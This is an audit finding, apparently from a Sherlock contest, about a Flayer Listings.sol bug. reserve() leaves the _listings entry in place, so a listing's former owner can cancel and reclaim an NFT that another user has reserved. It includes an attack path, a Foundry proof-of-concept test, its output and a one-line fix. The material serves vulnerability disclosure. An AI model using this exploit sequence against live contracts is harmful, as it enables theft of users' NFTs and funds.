Stable Chili Ferret

High

# Incorrect handling of `_listings` mapping variable in `Listings.sol#reserve()` function

### Summary

The previous owner of `Listing` can steal the NFT because the `_listings` mapping variable is not deleted in the [`Listings.sol#reserve()`](The previous owner of `Listing` can steal the NFT because the `_listings` mapping variable is not deleted in the `Listings.sol#reserve()` function.) function.


### Root Cause

In the `Listings.sol#reserve()` function, the `_listings` mapping variable is not deleted.

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

- Bob deposits his NFT and creates a `Listing` using the [`Listings.sol#createListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130) function.
- Alice reserves Bob's Listing by calling the `Listings.sol#reserve()` function and paying the required amount.
- In [`Listings.sol#L725`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L725), `listingCount` is decremented, but `_listings` is not deleted.

     Since the NFT is deposited in the Locker and `_listings` has not been deleted, Bob is still the owner of his listing.
- Bob immediately redeems his NFT by calling the [`Listings.sol#cancelListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414) function.
- Alice tries to interact with her ProtectedListing, but the transaction gets reverted because the NFT does not exist in the Locker.


### Impact

A malicious user can steal NFTs from the protocol, causing users to lose funds and NFTs.

### PoC

```solidity
function test_CanCancelListingAfterReserve(address payable _owner, uint _tokenId, uint16 _floorMultiple) public {
        // Ensure that we don't get a token ID conflict
        _assumeValidTokenId(_tokenId);

        // Ensure that we don't set a zero address _owner
        _assumeValidAddress(_owner);

        // Ensure that our multiplier is above 1.00
        _assumeRealisticFloorMultiple(_floorMultiple);

        // Capture the amount of ETH that the user starts with so that we can compute that
        // they receive a refund of unused `msg.value` when paying tax.
        uint startBalance = payable(_owner).balance;

        // Mint our token to the _owner and approve the {Listings} contract to use it
        erc721a.mint(_owner, _tokenId);

        vm.startPrank(_owner);
        erc721a.approve(address(listings), _tokenId);

        Listings.Listing memory listing = IListings.Listing({
            owner: _owner,
            created: uint40(block.timestamp),
            duration: VALID_LIQUID_DURATION,
            floorMultiple: _floorMultiple
        });

        // Get our required tax for the listing
        uint requiredTax = taxCalculator.calculateTax(address(erc721a), _floorMultiple, VALID_LIQUID_DURATION);

        // Confirm that our expected event it emitted
        vm.expectEmit();
        emit Listings.ListingsCreated(address(erc721a), _tokenIdToArray(_tokenId), listing, listings.getListingType(listing), 1 ether - requiredTax, requiredTax, _owner);

        // Create our listing
        _createListing({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: listing
            })
        });
        vm.stopPrank();

        // Confirm that the {Locker} now holds the expected token
        assertEq(erc721a.ownerOf(_tokenId), address(locker));

        // Confirm that the listing was created with the correct data
        IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);

        assertEq(_listing.owner, _owner);
        assertEq(_listing.created, uint40(block.timestamp));
        assertEq(_listing.duration, VALID_LIQUID_DURATION);
        assertEq(_listing.floorMultiple, _floorMultiple);

        // Confirm that the user has received their ERC20 token, minus the required tax payment
        assertEq(locker.collectionToken(address(erc721a)).balanceOf(_owner), 1 ether - requiredTax);

        // Confirm that the user has had no change to their ETH balance
        assertEq(payable(_owner).balance, startBalance);

        ICollectionToken token = locker.collectionToken(address(erc721a));
        deal(address(token), address(this), 1000 ether * 10 ** token.denomination());

        vm.startPrank(address(this));
        vm.warp(block.timestamp + (VALID_LIQUID_DURATION / 2));
        token.approve(address(listings), type(uint).max);
-->     listings.reserve(address(erc721a), _tokenId, 0.4 ether);
        assertEq(erc721a.ownerOf(_tokenId), address(locker));
        vm.stopPrank();

        vm.startPrank(_owner);
        token.approve(address(listings), type(uint).max);
-->     listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);

        assertEq(erc721a.ownerOf(_tokenId), _owner);
        vm.stopPrank();

        vm.startPrank(address(this));
        IProtectedListings protectedListings = listings.protectedListings();
        deal(address(token), address(this), 100000000 ether * 10 ** token.denomination());
        token.approve(address(protectedListings), type(uint).max);
-->     protectedListings.unlockProtectedListing(address(erc721a), _tokenId, true);
    }
```
Result:
```solidity
Ran 1 test suite in 26.63ms (25.08ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Listings.t.sol:ListingsTest
[FAIL. Reason: TransferFromFailed(); counterexample: calldata=0xa58722510000000000000000000000007844279ae41c4f93b40d4ba28befb63162df6a220000000000000000000000000000000000000000000000000000016f43e5f192000000000000000000000000000000000000000000000000000000000000006a args=[0x7844279ae41C4F93b40D4BA28BeFb63162Df6A22, 1577392140690 [1.577e12], 106]] test_CanCancelListingAfterReserve(address,uint256,uint16) (runs: 0, Î¼: 0, ~: 0)
```


### Mitigation

Add the follow lines to the `Listings.sol#reserve()` function:
```solidity
    function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
        // Read the existing listing in a single read
        Listing memory oldListing = _listings[_collection][_tokenId];

        // Ensure the caller is not the owner of the listing
        if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();

        // Ensure that the existing listing is available
        (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
        if (!isAvailable) revert ListingNotAvailable();

        // Find the underlying {CollectionToken} attached to our collection
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // Check if the listing is a floor item and process additional logic if there
        // was an owner (meaning it was not floor, so liquid or dutch).
        if (oldListing.owner != address(0)) {
            // We can process a tax refund for the existing listing if it isn't a liquidation
            if (!_isLiquidation[_collection][_tokenId]) {
                (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
                if (_fees != 0) {
                    emit ListingFeeCaptured(_collection, _tokenId, _fees);
                }
            }

            // If the floor multiple of the original listings is different, then this needs
            // to be paid to the original owner of the listing.
            uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
            if (listingPrice > listingFloorPrice) {
                unchecked {
                    collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
                }
            }

            // Reduce the amount of listings
            unchecked { listingCount[_collection] -= 1; }

+++         delete _listings[_collection][_tokenId];
        }

        SNIP...
    }
```